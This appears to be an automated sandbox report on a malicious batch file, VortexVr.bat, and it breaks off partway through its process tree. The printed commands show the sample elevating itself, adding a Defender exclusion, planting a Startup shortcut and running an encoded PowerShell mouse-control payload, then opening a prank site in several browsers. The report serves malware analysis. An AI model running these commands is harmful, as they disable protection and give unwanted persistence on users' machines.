4328	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5776 wrote to memory of 4052	5776	cmd.exe	89
PID 4052 wrote to memory of 3448	4052	powershell.exe	90
PID 3448 wrote to memory of 4612	3448	cmd.exe	92
PID 3448 wrote to memory of 2376	3448	cmd.exe	94
PID 3448 wrote to memory of 4280	3448	cmd.exe	95
PID 3448 wrote to memory of 3332	3448	cmd.exe	96
PID 3448 wrote to memory of 3104	3448	cmd.exe	97
PID 3332 wrote to memory of 4792	3332	chrome.exe	98
PID 3332 wrote to memory of 776	3332	chrome.exe	99
PID 3332 wrote to memory of 2608	3332	chrome.exe	100
PID 3332 wrote to memory of 776	3332	chrome.exe	99
PID 3332 wrote to memory of 3376	3332	chrome.exe	102
PID 3332 wrote to memory of 3376	3332	chrome.exe	102
PID 3448 wrote to memory of 2776	3448	cmd.exe	103
PID 3448 wrote to memory of 3892	3448	cmd.exe	122
PID 3332 wrote to memory of 2964	3332	chrome.exe	105
PID 3332 wrote to memory of 2964	3332	chrome.exe	105
PID 3332 wrote to memory of 5816	3332	chrome.exe	106
PID 3332 wrote to memory of 5816	3332	chrome.exe	106
PID 2776 wrote to memory of 552	2776	msedge.exe	107
PID 3448 wrote to memory of 1516	3448	cmd.exe	108
PID 3448 wrote to memory of 5788	3448	cmd.exe	109
PID 1516 wrote to memory of 4328	1516	firefox.exe	110
PID 1516 wrote to memory of 4328	1516	firefox.exe	110
PID 2776 wrote to memory of 4672	2776	msedge.exe	111
PID 2776 wrote to memory of 5236	2776	msedge.exe	112
PID 2776 wrote to memory of 5236	2776	msedge.exe	112
PID 2776 wrote to memory of 5236	2776	msedge.exe	112
PID 2776 wrote to memory of 716	2776	msedge.exe	113
PID 2776 wrote to memory of 716	2776	msedge.exe	113
PID 2776 wrote to memory of 2824	2776	msedge.exe	115
PID 2776 wrote to memory of 2824	2776	msedge.exe	115
PID 2776 wrote to memory of 2824	2776	msedge.exe	115
PID 2776 wrote to memory of 4576	2776	msedge.exe	116
PID 2776 wrote to memory of 4576	2776	msedge.exe	116
PID 2776 wrote to memory of 4576	2776	msedge.exe	116
PID 2776 wrote to memory of 4864	2776	msedge.exe	117
PID 2776 wrote to memory of 4864	2776	msedge.exe	117
PID 2776 wrote to memory of 4864	2776	msedge.exe	117
PID 2776 wrote to memory of 5880	2776	msedge.exe	216
PID 2776 wrote to memory of 5880	2776	msedge.exe	216
PID 2776 wrote to memory of 5880	2776	msedge.exe	216
PID 2776 wrote to memory of 1376	2776	msedge.exe	119
PID 2776 wrote to memory of 1376	2776	msedge.exe	119
PID 4328 wrote to memory of 120	4328	firefox.exe	121
PID 4328 wrote to memory of 120	4328	firefox.exe	121
PID 4328 wrote to memory of 120	4328	firefox.exe	121
PID 2776 wrote to memory of 3892	2776	msedge.exe	122
PID 2776 wrote to memory of 3892	2776	msedge.exe	122
PID 3448 wrote to memory of 2220	3448	cmd.exe	123
PID 4328 wrote to memory of 2524	4328	firefox.exe	124
PID 4328 wrote to memory of 2524	4328	firefox.exe	124
PID 4328 wrote to memory of 2524	4328	firefox.exe	124
PID 4328 wrote to memory of 2524	4328	firefox.exe	124
PID 2776 wrote to memory of 2344	2776	msedge.exe	126
PID 2776 wrote to memory of 2344	2776	msedge.exe	126
PID 2776 wrote to memory of 3832	2776	msedge.exe	127
PID 2776 wrote to memory of 3832	2776	msedge.exe	127
PID 3332 wrote to memory of 6212	3332	chrome.exe	128
PID 3332 wrote to memory of 6212	3332	chrome.exe	128
PID 3448 wrote to memory of 6364	3448	cmd.exe	129
PID 3332 wrote to memory of 6512	3332	chrome.exe	130
PID 3332 wrote to memory of 6512	3332	chrome.exe	130
PID 3448 wrote to memory of 6576	3448	cmd.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat' am_admin
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4052
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat" am_admin
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4612
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk'); $Shortcut.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat'; $Shortcut.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Creates a file in the Startup directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2376
  - - C:\Windows\system32\where.exe
      where chrome
      4⤵
      PID:4280
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:3332
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff90d92c728,0x7ff90d92c734,0x7ff90d92c740
        5⤵
        
        PID:4792
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1616,i,15830416667350950565,3641183065882286472,262144 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=2484 /prefetch:2
        5⤵
        
        PID:776
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1476,i,469270869529252744,13301476090102240632,524288 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=2516 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:2608
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1980,i,7460599038830671700,17078501080418058973,524288 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=2704 /prefetch:13
        5⤵
        
        PID:3376
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3248,i,15500184879943450891,8562646866209216278,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:1
        5⤵
        
        PID:2964
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3268,i,16544954565956634595,10543475232165991451,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=3292 /prefetch:1
        5⤵
        
        PID:5816
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4676,i,97326245601929881,16086332963864859491,524288 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:14
        5⤵
        
        PID:6212
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=5216,i,236035906482512694,2504551693682802046,524288 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:12
        5⤵
        
        PID:6512
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5580,i,9514870695742363869,17697842160418329739,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:1
        5⤵
        
        PID:6756
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5860,i,3797981393263551207,5232631882177622376,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:1
        5⤵
        
        PID:6720
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6068,i,978991200824559540,7181055278256493517,524288 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6064 /prefetch:14
        5⤵
        
        PID:7340
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6072,i,12354551465054281899,17269488952704374642,524288 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:14
        5⤵
        
        PID:7352
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6076,i,14633289133655042537,16408220987384770746,524288 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:14
        5⤵
        
        PID:7616
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6176,i,13278371347029135684,13460702101082855356,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6248 /prefetch:1
        5⤵
        
        PID:8048
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6084,i,16206186614482985657,12838485310011577842,524288 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
        5⤵
        
        PID:6820
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6440,i,17502580850549570193,10001724296485021467,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6204 /prefetch:1
        5⤵
        
        PID:8016
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6408,i,950471941981340544,1014363783954197549,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6400 /prefetch:1
        5⤵
        
        PID:7344
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6704,i,4700247351688685834,10694107047465804249,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:1
        5⤵
        
        PID:8260
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6716,i,8944539129634937994,2064799054348954949,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6844 /prefetch:1
        5⤵
        
        PID:8468
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6824,i,17812227616739848885,15093509189289910703,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6828 /prefetch:1
        5⤵
        
        PID:4136
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=7132,i,8685545406236251218,18007569798845930095,524288 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6680 /prefetch:14
        5⤵
        
        PID:2328
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6464,i,8101183923128707707,3780974006430533325,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=7068 /prefetch:1
        5⤵
        
        PID:9136
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6720,i,11839395836844504018,977765560767747758,524288 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=7164 /prefetch:14
        5⤵
        
        PID:2820
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=6272,i,5361734949598997928,6129714639576746107,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6824 /prefetch:1
        5⤵
        
        PID:7784
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6676,i,1474053424114941832,2471277741254884124,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6264 /prefetch:1
        5⤵
        
        PID:8632
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6820,i,17388489319136454723,8785019749014626919,524288 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6260 /prefetch:14
        5⤵
        
        PID:8316
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=7160,i,9364343904334956681,299047007456575496,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6684 /prefetch:1
        5⤵
        
        PID:5008
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=6876,i,4367483383800430612,8152525550062320075,2097152 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:9
        5⤵
        
        PID:4648
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6720,i,17603972038026969527,3636058077432745672,262144 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=7240 /prefetch:10
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3832
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=3132,i,17356637486885062554,14038975725393726479,524288 --field-trial-handle=2488,i,9123436639657084291,7176467304014108994,262144 --variations-seed-version --mojo-platform-channel-handle=1540 /prefetch:14
        5⤵
        
        PID:7384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Loads dropped DLL
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2776
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x274,0x278,0x27c,0x270,0x2d4,0x7ff90686c188,0x7ff90686c194,0x7ff90686c1a0
        5⤵
        
        PID:552
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1880,i,10740015241753122113,5760218284274694919,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:4672
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1580,i,3523621648777852213,4891745485888160008,262144 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=2204 /prefetch:2
        5⤵
        
        PID:5236
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2284,i,8874290487652184232,4983638274665447387,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:13
        5⤵
        
        PID:716
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3528,i,1968165156059304039,10217111590958708058,2097152 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=3604 /prefetch:1
        5⤵
        
        PID:2824
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
